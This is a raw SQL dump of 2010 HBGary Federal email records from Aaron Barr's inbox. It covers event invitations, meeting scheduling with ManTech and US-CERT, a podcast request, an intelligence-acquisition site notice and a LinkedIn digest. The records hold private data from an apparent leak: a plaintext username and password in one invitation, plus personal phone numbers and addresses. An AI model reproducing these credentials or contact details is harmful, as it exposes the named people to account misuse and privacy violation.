<support@potomacofficersclub.com>','/aaron@hbgary.com/new/1297008194.M7138P14101Q5429.eml','aaron@hbgary.com','POC Event Announcement','\r\n\r\n\r\nPotomac Officers Club Invite\r\n\r\n\r\nWe are pleased to announce that security expert and former White House advisor Richard Clarke will be speaking at our next luncheon. Richard Clarke is an internationally-recognized expert on security, including homeland security, national security, cyber security, and counterterrorism. He is currently an on-air consultant for ABC News and teaches at Harvard\'s Kennedy School of Government.\r\nMr. Clarke served the last three Presidents (George H.W. Bush, Bill Clinton, and George W. Bush) as a senior White House Advisor. Over the course of an unprecedented 11 consecutive years of White House service, he held the titles of: Special Assistant to the President for Global Affairs, National Coordinator for Security and Counterterrorism and Special Advisor to the President for Cyber Security. He also wrote two authoritative books on Cyber Security entitled \"Cyber War\" and \"Against all Enemies\". You can receive one of his books when you register for the event!\r\nYou will not want to miss this chance to hear from an extraordinary man on this very relevant and topical subject. Details of the event are included below. PLEASE NOTE: You are now required to enter your username and password to sign up for the event. That information is contained below in this email for your ease!\r\nDate: Tuesday, October 5th\r\nTime: 11:30 am (networking and registration) with lunch and speaker at 12:00 pm - 1:00 pm.\r\nLocation: Tyson\'s Corner Ritz Carlton (Salon 3)\r\nLink to Register : http://www.potomacofficersclub.com/events/hxIfaLvMibUVqTAVR4F9/\r\nYour login information:\r\nUsername : aaron@hbgary.comPassword : KyCPx7T2\r\nWe hope to see you all there!\r\nThe Potomac Officers Club\r\nPS - as you may have noticed, the Potomac Officers Club has a new (and improved!) website. Thank you very much for your patience and cooperation as we are still fine tuning all the features and we may experience a few \"growing pains\" in the process. We sincerely appreciate any comments or suggestions you might have.\r\n\r\n\r\n',8568,'aaron_hbgary_com/8568.html'),(10578,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008195.M296823P14101Q5434.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.','Is this ok?Sent from my iPhoneBegin forwarded message:From: &quot;Topper, Dawn O&quot; &lt;Dawn.Topper@ManTech.com&gt;\r\nDate: August 18, 2010 3:50:39 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.\r\n\r\n\r\n\r\n\r\nGood afternoon,\r\n\r\n \r\n\r\nI am filling in today for\r\nBill Varner’s Executive Assistant, Dana Briggs.  Bill requested I\r\ncontact you to see if it is possible to change the Opportunity Discussion with\r\nManTech scheduled for Thursday, August 19 at 1:30 p.m. to 3:00 p.m.\r\n\r\n \r\n\r\nIf that time works with your\r\nand Penny Leavy’s schedule, please let me know and I will send out a\r\nmeeting update invite.\r\n\r\n \r\n\r\nThank you,\r\n\r\nDawn Topper\r\n\r\n703-610-9262\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11373,'aaron_hbgary_com/11373.html'),(10579,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008195.M609891P14101Q5435.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: HBGary on SecuraBit','Do you have any objection to this?I reached out to this guy for a job offer and he wondered if I would do a podcast.AaronSent from my iPhone\r\nBegin forwarded message:From: Jason Mueller &lt;jmueller2004@gmail.com&gt;Date: August 18, 2010 3:50:47 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Bart Hopper &lt;d4ncingd4n@gmail.com&gt;, cgerlingjr@gmail.com,  Chris Mills &lt;chrisam@securabit.com&gt;\r\nSubject: HBGary on SecuraBitAaron,Bart is our PR guy for the show and he&#39;ll be able to set up a time that works best for you.  Please let me know if you have any questions and I&#39;ll be sure to help out where needed.  \r\nBart,\r\nCan you please schedule Aaron Barr, CEO of HBGary Federal, to talk about their products and upcoming events on their end.Looking forward to another great show!R/Jason MuellerCo-founder of SecuraBit LLC\r\n\r\nwww.SecuraBit.comOn Wed, Aug 18, 2010 at 10:15 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Jason,Thanks for the response.  Its a small community so please definitely stay in contact and I&#39;ll do the same.\r\n\r\nSure lets get on the phone or meet and talk about the podcast, I can tell you a little about what we are up to and go from there.Let me know some good times.\r\n\r\nAaronOn Aug 17, 2010, at 9:27 PM, Jason Mueller wrote:\r\n\r\nAaron,Thanks for your interest and yes I&#39;m familiar with HBGary. Our RE guys used it at my last customer site.  I just left Symantec in April and jumped on with ArcSight which seems to be working out quite well. I&#39;ll keep your info handy and I&#39;m sure we&#39;ll bump into one another at some point in the near future. In the meantime, any interest in sharing your product and thoughts with the SecuraBit podcast?  Let me know and I&#39;ll get a date that works best for you. We record every other Wednesday at 8pm and average roughly 5k downloads per show.  Check out www.SecuraBit.com to see a list of prior guests. \r\n\r\nR/Jason MuellerSecurity Engineer, Federal Servicesjmueller@ArcSight.com\r\nCell: (540) 842-7019\r\n5 Results WayCupertino, CA 95014www.ArcSight.comSent from my iPhone, please excuse typos. \r\n\r\nArcSight Protect &#39;10 - 6th Annual Users ConferenceSeptember 19 - 22,2010Gaylord National Resort - Washington D.C.Register Now&lt;http://www.arcsight.com/protect10&gt; - Receive 12 CPE credits for attending!\r\n\r\nOn Aug 17, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInAaron Barr has sent you a message.\r\n  Date:\r\n  8/17/2010\r\n\r\n  Subject:\r\n  Introduction\r\n\r\n  Hey Jason,\r\n\r\n\r\n\r\nThanks for accepting.  I am not sure if you know much about HBGary or HBGary Federal.  Leading HBGary Federal I am focused on improving cybersecurity leveraging key people, partnerships, technologies, and processes.  I am looking to fill some key positions and would like to discuss them with you if your interested, if not at this time, no problem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\n\r\n\r\nThank You,\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n719.510.8478\r\nView/reply to this message\r\n\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n© 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',13518,'aaron_hbgary_com/13518.html'),(10580,'2010-08-18','\"Jason Mueller\" <jmueller2004@gmail.com>','/aaron@hbgary.com/new/1297008195.M72035P14101Q5433.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','HBGary on SecuraBit','Aaron,Bart is our PR guy for the show and he&#39;ll be able to set up a time that works best for you.  Please let me know if you have any questions and I&#39;ll be sure to help out where needed.  Bart,\r\nCan you please schedule Aaron Barr, CEO of HBGary Federal, to talk about their products and upcoming events on their end.Looking forward to another great show!R/Jason MuellerCo-founder of SecuraBit LLC\r\nwww.SecuraBit.comOn Wed, Aug 18, 2010 at 10:15 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Jason,Thanks for the response.  Its a small community so please definitely stay in contact and I&#39;ll do the same.\r\nSure lets get on the phone or meet and talk about the podcast, I can tell you a little about what we are up to and go from there.Let me know some good times.\r\nAaronOn Aug 17, 2010, at 9:27 PM, Jason Mueller wrote:\r\nAaron,Thanks for your interest and yes I&#39;m familiar with HBGary. Our RE guys used it at my last customer site.  I just left Symantec in April and jumped on with ArcSight which seems to be working out quite well. I&#39;ll keep your info handy and I&#39;m sure we&#39;ll bump into one another at some point in the near future. In the meantime, any interest in sharing your product and thoughts with the SecuraBit podcast?  Let me know and I&#39;ll get a date that works best for you. We record every other Wednesday at 8pm and average roughly 5k downloads per show.  Check out www.SecuraBit.com to see a list of prior guests. \r\nR/Jason MuellerSecurity Engineer, Federal Servicesjmueller@ArcSight.comCell: (540) 842-7019\r\n5 Results WayCupertino, CA 95014www.ArcSight.comSent from my iPhone, please excuse typos. \r\nArcSight Protect &#39;10 - 6th Annual Users ConferenceSeptember 19 - 22,2010Gaylord National Resort - Washington D.C.Register Now&lt;http://www.arcsight.com/protect10&gt; - Receive 12 CPE credits for attending!\r\nOn Aug 17, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInAaron Barr has sent you a message.\r\n  Date:\r\n  8/17/2010\r\n\r\n  Subject:\r\n  Introduction\r\n\r\n  Hey Jason,\r\n\r\n\r\n\r\nThanks for accepting.  I am not sure if you know much about HBGary or HBGary Federal.  Leading HBGary Federal I am focused on improving cybersecurity leveraging key people, partnerships, technologies, and processes.  I am looking to fill some key positions and would like to discuss them with you if your interested, if not at this time, no problem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\n\r\n\r\nThank You,\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n719.510.8478\r\nView/reply to this message\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, LinkedIn Corporation\r\n\r\n\r\n',5615,'aaron_hbgary_com/5615.html'),(10581,'2010-08-18','arc@westfields.net','/aaron@hbgary.com/new/1297008195.M816803P14101Q5436.eml','federal@hbgary.com','Caprrica Announcement Posting','\r\nAn announcement has been posted on the NRO-Caprrica effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select Caprrica from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',8460,'aaron_hbgary_com/8460.html'),(10582,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008196.M13062P14101Q5437.eml','\"Topper, Dawn O\" <Dawn.Topper@mantech.com>','Re: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.','Hi Dawn,I am checking with Penny, I think she Kanin the air right now.  I imagine we can accommodate if Bill had something else come up.\r\nAaronSent from my iPhoneOn Aug 18, 2010, at 3:50 PM, &quot;Topper, Dawn O&quot; &lt;Dawn.Topper@ManTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGood afternoon,\r\n\r\n \r\n\r\nI am filling in today for\r\nBill Varner’s Executive Assistant, Dana Briggs.  Bill requested I\r\ncontact you to see if it is possible to change the Opportunity Discussion with\r\nManTech scheduled for Thursday, August 19 at 1:30 p.m. to 3:00 p.m.\r\n\r\n \r\n\r\nIf that time works with your\r\nand Penny Leavy’s schedule, please let me know and I will send out a\r\nmeeting update invite.\r\n\r\n \r\n\r\nThank you,\r\n\r\nDawn Topper\r\n\r\n703-610-9262\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7561,'aaron_hbgary_com/7561.html'),(10583,'2010-08-18','\"Topper, Dawn O\" <Dawn.Topper@ManTech.com>','/aaron@hbgary.com/new/1297008196.M277723P14101Q5438.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThank\r\nyou.&nbsp; I will wait to hear from you regarding Penny&#8217;s schedule.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 4:45 PM\r\nTo: Topper, Dawn O\r\nSubject: Re: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Dawn,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am checking with Penny, I think she Kanin the air right\r\nnow. &nbsp;I imagine we can accommodate if Bill had something else come up.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 3:50 PM, &quot;Topper, Dawn O&quot; &lt;Dawn.Topper@ManTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nafternoon,\r\n\r\n&nbsp;\r\n\r\nI\r\nam filling in today for Bill Varner&#8217;s Executive Assistant, Dana Briggs.&nbsp;\r\nBill requested I contact you to see if it is possible to change the Opportunity\r\nDiscussion with ManTech scheduled for Thursday, August 19 at 1:30 p.m. to 3:00\r\np.m.\r\n\r\n&nbsp;\r\n\r\nIf\r\nthat time works with your and Penny Leavy&#8217;s schedule, please let me know and I\r\nwill send out a meeting update invite.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\nDawn\r\nTopper\r\n\r\n703-610-9262\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16719,'aaron_hbgary_com/16719.html'),(10584,'2010-08-18','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297008196.M512303P14101Q5439.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Terell Jones and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsAugust 18, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n        Latest:\r\n\r\n            2 discussions\r\n\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n  \r\nDiscussions (2)  \r\n\r\n    \r\n      \r\n        Terell Jones - Green IT Economic Summit 2010\r\n        Add a comment  &raquo;\r\n      \r\n\r\n        Started by Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n        \r\n          \r\n	              Pre-Gaming for the Danville Green IT Economic Summit 2010!...\r\n	                    More &raquo;\r\n                By Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n           \r\n          \r\n    \r\n\r\n    \r\n      \r\n        With the Efficiency Initiative, Secretary Gates recommended eliminating ASD/NII, BTA, and J6.  The DOD CIO responsibilities will transfer to DISA. What are your thoughts?\r\n        Add a comment  &raquo;\r\n      \r\n\r\n        Started by Pete Modigliani, Assistant VP for Program Management at Alion Science\r\n        \r\n          \r\n	              Does the DOD CIO need to be in the Pentagon? Is DISA equipped to assume the DOD CIO role? Will the oversight of Major AIS acquisition...\r\n	                    More &raquo;\r\n                By Pete Modigliani, Assistant VP for Program Management at Alion Science\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\n&nbsp;\r\n\r\n\r\n',11055,'aaron_hbgary_com/11055.html'),(10585,'2010-08-18','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008196.M758944P14101Q5440.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: CRAP!','Aaron what is this about????  Are you talking about the September meeting with Byron Copeland?\r\nOn Wed, Aug 18, 2010 at 11:24 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI hadn&#39;t put it on my calendar, I missed it, but I already agreed to do social media training for INSCOM on the same day and time as the US-CERT meeting.  I am very sorry I missed that.  They can&#39;t move the training as I am being brought in to their overall 2 day training program.\r\nSuggestions?Aaron -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',14879,'aaron_hbgary_com/14879.html'),(10586,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008197.M18266P14101Q5441.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: CRAP!','Yes.Sent from my iPhoneOn Aug 18, 2010, at 4:53 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nAaron what is this about????  Are you talking about the September meeting with Byron Copeland?\r\nOn Wed, Aug 18, 2010 at 11:24 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI hadn&#39;t put it on my calendar, I missed it, but I already agreed to do social media training for INSCOM on the same day and time as the US-CERT meeting.  I am very sorry I missed that.  They can&#39;t move the training as I am being brought in to their overall 2 day training program.\r\n\r\nSuggestions?Aaron -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com   \r\n\r\n',13214,'aaron_hbgary_com/13214.html'),(10587,'2010-08-18','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008197.M284579P14101Q5442.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,,,','Re: CRAP!','Penny\r\n \r\nOn September 9th we have a meeting scheduled with the US-CERT Byron Copeland who reports to Randy Vickers to present the Threat Management Center -- Aaron originally was attending but has a conflict.\r\n \r\nA good plan would be to have Bob, Rich or Phil onsite with Greg providing a Webex presentation / Q&amp;A.\r\n \r\nPlease advise who should be onsite and confirm that we can schedule Greg for the technical side.  The meeting is 7:30 am pacific.\r\n \r\nMaria\r\nOn Wed, Aug 18, 2010 at 2:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nYes.Sent from my iPhone\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 4:53 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nAaron what is this about????  Are you talking about the September meeting with Byron Copeland?\r\nOn Wed, Aug 18, 2010 at 11:24 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nI hadn&#39;t put it on my calendar, I missed it, but I already agreed to do social media training for INSCOM on the same day and time as the US-CERT meeting.  I am very sorry I missed that.  They can&#39;t move the training as I am being brought in to their overall 2 day training program.\r\nSuggestions?Aaron -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',6925,'aaron_hbgary_com/6925.html'),(10588,'2010-08-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008197.M864655P14101Q5443.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI guess\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 12:55 PM\r\nTo: Penny Leavy\r\nSubject: Fwd: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIs this ok?\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Topper, Dawn\r\nO&quot; &lt;Dawn.Topper@ManTech.com&gt;\r\nDate: August 18, 2010 3:50:39 PM EDT\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nafternoon,\r\n\r\n&nbsp;\r\n\r\nI\r\nam filling in today for Bill Varner&#8217;s Executive Assistant, Dana Briggs.&nbsp;\r\nBill requested I contact you to see if it is possible to change the Opportunity\r\nDiscussion with ManTech scheduled for Thursday, August 19 at 1:30 p.m. to 